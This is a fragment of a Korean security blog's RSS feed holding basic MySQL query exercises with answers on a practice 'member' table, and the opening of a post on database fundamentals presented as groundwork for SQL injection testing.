this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;615&quot; height=&quot;363&quot; data-origin-width=&quot;615&quot; data-origin-height=&quot;363&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림58 - limit 사용하여 데이터 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;순차적 레코드 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select * from member limit 0,1;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 첫번째부터 1개 레코드 출력&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select * from member limit 1,1;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 두번째부터 1개 레코드 출력&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select * from member limit 2,1;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 세번째부터 1개 레코드 출력&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select * from member limit 3,1;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 네번째부터 1개 레코드 출력&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select * from member limit 4,1;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 다섯번째부터 1개 레코드 출력&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;select * from member limit 5,1;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 여섯번째부터 1개 레코드 출력&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;579&quot; data-origin-height=&quot;793&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cuZFPD/btsKMhw1kRv/2ZQMqJnk50kfWYKIKG8ulK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cuZFPD/btsKMhw1kRv/2ZQMqJnk50kfWYKIKG8ulK/img.png&quot; data-alt=&quot;그림59 - limit 사용하여 순차적 레코드 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cuZFPD/btsKMhw1kRv/2ZQMqJnk50kfWYKIKG8ulK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcuZFPD%2FbtsKMhw1kRv%2F2ZQMqJnk50kfWYKIKG8ulK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;579&quot; height=&quot;793&quot; data-origin-width=&quot;579&quot; data-origin-height=&quot;793&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림59 - limit 사용하여 순차적 레코드 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;SQL 기본 문법 활용 예제&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;예제1 ~ 예제12&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예제 풀기 전에 이전에 update로 추가한 admin 레코드를 삭제한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;delete from member where name='admin';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예제 1) member 테이블의 name이 &quot;guest&quot;인 레코드를 출력하라.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예제 2) member 테이블의 name이 &quot;guest&quot;인 레코드의 email을 출력하라.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예제 3) member 테이블의 name이 &quot;guest&quot;가 아닌 레코드의 name, email을 출력하라.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예제 4) member 테이블의 name이 &quot;lee&quot; 또는 &quot;hong&quot;인 레코드를 출력하라.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예제 5) member 테이블의 name이 &quot;lee&quot;, &quot;hong&quot;이 아닌 레코드를 출력하라.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예제 6) member 테이블의 seq가 2이상, 5미만인 레코드를 출력하라.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예제 7) member 테이블의 seq가 1 또는 3 또는 5인 레코드를 출력하라.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예제 8) member 테이블의 name이 &quot;adm&quot;으로 시작하는 레코드를 출력하라.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예제 9) member 테이블의 email이 &quot;test.com&quot;을 주소로 사용하는 레코드를 출력하라.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예제 10) member 테이블의 name을 레코드를 출력하라. 단, &quot;name : 사용자명&quot; 형식으로 출력하라.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예제 11) member 테이블의 name 값의 앞 3 문자만 출력 후 뒤에는 &quot;###&quot;가 붙도록 출력하라.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예제 12) member 테이블의 레코드를 seq 컬럼 기준으로 내림차순으로 정렬 후 2개의 레코드를 출력하자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;SQL 기본 문법 활용 예제 - &lt;/b&gt;&lt;b&gt;정답&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예제 1) member 테이블의 name이 &quot;guest&quot;인 레코드를 출력하라.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select * from member where name='guest';&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예제 2) member 테이블의 name이 &quot;guest&quot;인 레코드의 email을 출력하라.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select email from member where name='guest';&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예제 3) member 테이블의 name이 &quot;guest&quot;가 아닌 레코드의 name, email을 출력하라.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select name, email from member where name!='guest';&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예제 4) member 테이블의 name이 &quot;lee&quot; 또는 &quot;hong&quot;인 레코드를 출력하라.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select * from member where name='lee' or name='hong';&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select * from member where name in('lee', 'hong');&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예제 5) member 테이블의 name이 &quot;lee&quot;, &quot;hong&quot;이 아닌 레코드를 출력하라.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select * from member where name!='lee' and name!='hong';&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select * from member where name not in('lee', 'hong');&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예제 6) member 테이블의 seq가 2이상, 5미만인 레코드를 출력하라.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select * from member where seq&amp;gt;=2 and seq&amp;lt;5;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예제 7) member 테이블의 seq가 1 또는 3 또는 5인 레코드를 출력하라.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select * from member where seq=1 or seq=3 or seq=5;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select * from member where seq in(1, 3, 5);&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예제 8) member 테이블의 name이 &quot;adm&quot;으로 시작하는 레코드를 출력하라.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select * from member where name like 'adm%';&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예제 9) member 테이블의 email이 &quot;test.com&quot;을 주소로 사용하는 레코드를 출력하라.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select * from member where email like '%test.com%';&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예제 10) member 테이블의 name을 레코드를 출력하라. 단, &quot;name : 사용자명&quot; 형식으로 출력하라.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select concat('name : ', name) from member;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예제 11) member 테이블의 name 값의 앞 3 문자만 출력 후 뒤에는 &quot;###&quot;가 붙도록 출력하라.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select concat(substr(name, 1, 3), '###') from member;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예제 12) member 테이블의 레코드를 seq 컬럼 기준으로 내림차순으로 정렬 후 2개의 레코드를 출력하자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select * from member order by seq desc limit 2;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; limit 절은 제일 뒤에 작성해야 에러가 발생하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;MySQL 화면 캡처&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;674&quot; data-origin-height=&quot;731&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b4tELC/btsKM4X2m1p/gSkh0KsqTSbak5LKc7U5ck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b4tELC/btsKM4X2m1p/gSkh0KsqTSbak5LKc7U5ck/img.png&quot; data-alt=&quot;그림60 - 예제 1~4 정답&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b4tELC/btsKM4X2m1p/gSkh0KsqTSbak5LKc7U5ck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb4tELC%2FbtsKM4X2m1p%2FgSkh0KsqTSbak5LKc7U5ck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;674&quot; height=&quot;731&quot; data-origin-width=&quot;674&quot; data-origin-height=&quot;731&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림60 - 예제 1~4 정답&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;647&quot; data-origin-height=&quot;964&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uuI1P/btsKN4it6YS/u7Sr5zni8uygjyWAxwITxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uuI1P/btsKN4it6YS/u7Sr5zni8uygjyWAxwITxk/img.png&quot; data-alt=&quot;그림61 - 예제 5~8 정답&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uuI1P/btsKN4it6YS/u7Sr5zni8uygjyWAxwITxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuuI1P%2FbtsKN4it6YS%2Fu7Sr5zni8uygjyWAxwITxk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;647&quot; height=&quot;964&quot; data-origin-width=&quot;647&quot; data-origin-height=&quot;964&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림61 - 예제 5~8 정답&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;647&quot; data-origin-height=&quot;761&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpDSBo/btsKOzoMdVZ/H5mbk8K1sxnjD77V21gJ80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpDSBo/btsKOzoMdVZ/H5mbk8K1sxnjD77V21gJ80/img.png&quot; data-alt=&quot;그림62 - 예제 9~12 정답&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpDSBo/btsKOzoMdVZ/H5mbk8K1sxnjD77V21gJ80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpDSBo%2FbtsKOzoMdVZ%2FH5mbk8K1sxnjD77V21gJ80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;647&quot; height=&quot;761&quot; data-origin-width=&quot;647&quot; data-origin-height=&quot;761&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림62 - 예제 9~12 정답&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;MySQL 주석 문자: &lt;b&gt;#&lt;/b&gt;, --(공백), (공백)--(공백)&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;ORACLE, MSSQL 주석문자: &lt;b&gt;--&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/SQL-%EC%9D%B8%EC%A0%9D%EC%85%98-%EA%B3%B5%EA%B2%A9-%EA%B8%B0%EB%B3%B8-%EB%AC%B8%EB%B2%95&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/SQL-%EC%9D%B8%EC%A0%9D%EC%85%98-%EA%B3%B5%EA%B2%A9-%EA%B8%B0%EB%B3%B8-%EB%AC%B8%EB%B2%95&lt;/a&gt;&lt;/p&gt;</description>
      <category>웹 해킹/SQL 기본</category>
      <category>mysql</category>
      <category>SQL</category>
      <category>sql 문법</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/200</guid>
      <comments>https://it-log.tistory.com/200#entry200comment</comments>
      <pubDate>Sun, 17 Nov 2024 22:00:36 +0900</pubDate>
    </item>
    <item>
      <title>SQL Injection을 위한 데이터베이스 기초</title>
      <link>https://it-log.tistory.com/199</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;SQL 기본 문법을 알아야 하는 이유&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점 진단 시 성공적인 SQL 인젝션 공격을 위해서는 &lt;b&gt;SQL 기본 문법&lt;/b&gt;에 대한 이해는 필수다!&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1096&quot; data-origin-height=&quot;158&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qLtZg/btsKJzKgi7J/C0iM7WaYzsa8mjiTtQBvuK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qLtZg/btsKJzKgi7J/C0iM7WaYzsa8mjiTtQBvuK/img.png&quot; data-alt=&quot;그림1 - SQL Injection 공격 개요&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qLtZg/btsKJzKgi7J/C0iM7WaYzsa8mjiTtQBvuK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqLtZg%2FbtsKJzKgi7J%2FC0iM7WaYzsa8mjiTtQBvuK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1096&quot; height=&quot;158&quot; data-origin-width=&quot;1096&quot; data-origin-height=&quot;158&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림1 - SQL Injection 공격 개요&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;데이터베이스란 무엇인가?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터를 구조적으로 모아둔 데이터 집합소&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;관계형 데이터베이스(Relational Database: RDB)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데이터를 열과 행을 가진 테이블 형태로 표현하며, 구조적으로 데이터 관리를 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1323&quot; data-origin-height=&quot;496&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CQRwn/btsKKwltbS5/1tFNECOfo5TkWlGEeKVkiK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CQRwn/btsKKwltbS5/1tFNECOfo5TkWlGEeKVkiK/img.png&quot; data-alt=&quot;그림2 - 관계형 데이터베이스&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CQRwn/btsKKwltbS5/1tFNECOfo5TkWlGEeKVkiK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCQRwn%2FbtsKKwltbS5%2F1tFNECOfo5TkWlGEeKVkiK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1323&quot; height=&quot;496&quot; data-origin-width=&quot;1323&quot; data-origin-height=&quot;496&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림2 - 관계형 데이터베이스&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;데이터베이스 용어&lt;/b&gt;&lt;/p&gt;
